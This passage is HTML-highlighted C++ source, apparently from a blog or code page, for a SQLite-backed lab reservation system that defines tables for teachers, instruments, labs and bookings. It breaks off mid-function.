class=\"cm\"\u003e======================================*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Database class\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"nc\"\u003eDatabase\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ezErrMsg\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003ecreate\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e~\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eexec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e \u003cspan class=\"c1\"\u003e// For insert and delete.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTimeInformation\u003c/span\u003e \u003cspan class=\"nf\"\u003eget_spare\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Query the empty time in 2022-12-31.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Create an new database file.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003ecreate\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Create an empty database.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_open_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;management.db\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_OPEN_READWRITE\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_OPEN_CREATE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t create database: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;, \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Create new table.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ecreate_table_queries\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Teacher ( Tno VARCHAR(10), Tname VARCHAR(20), Tele VARCHAR(20) , TRS VARCHAR(30) ,Pass VARCHAR(40),PRIMARY KEY (Tno));\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Instrument ( Ino VARCHAR(10), Iname VARCHAR(20), Stat VARCHAR(10),PRIMARY KEY (Ino));\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Manage( Ino VARCHAR(10),Lno VARCHAR(10),PRIMARY KEY (Ino,Lno),FOREIGN KEY (Ino)REFERENCES Instrument(Ino),FOREIGN KEY (Lno)REFERENCES Lab(Lno) );\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Lab( Lno VARCHAR(10), Lname VARCHAR(40), People INT ,Purpose VARCHAR(40),Time INT,PRIMARY KEY (Lno));\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Orders( Tno VARCHAR(10), Lno VARCHAR(10), Users VARCHAR(30) ,Btime DATETIME,Etime DATETIME,PRIMARY KEY (Tno,Lno,Btime,Etime),FOREIGN KEY (Tno)REFERENCES Teacher(Tno),FOREIGN KEY (Lno)REFERENCES Lab(Lno) );\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s\"\u003e\u0026#34;CREATE VIEW IF NOT EXISTS SJ_PROJECT AS SELECT Sno,Pno,Qty FROM SPJ,J WHERE Jname = \u0026#39;三建\u0026#39; AND J.Jno = SPJ.Jno;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_exec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecreate_table_queries\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ezErrMsg\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t create tables: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;, \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Created database successfully\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_open_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;management.db\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_OPEN_READWRITE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t open database: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;, \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003ecreate\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Opened database successfully.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::~\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_close_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_exec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ec_str\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t execute this sql line: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esubstr\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e15\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;... with the following error: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;, \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eTimeInformation\u003c/span\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eget_spare\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTimeInformation\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eoccupied\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;select * from Spare_Time\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_prepare_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ec_str\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan 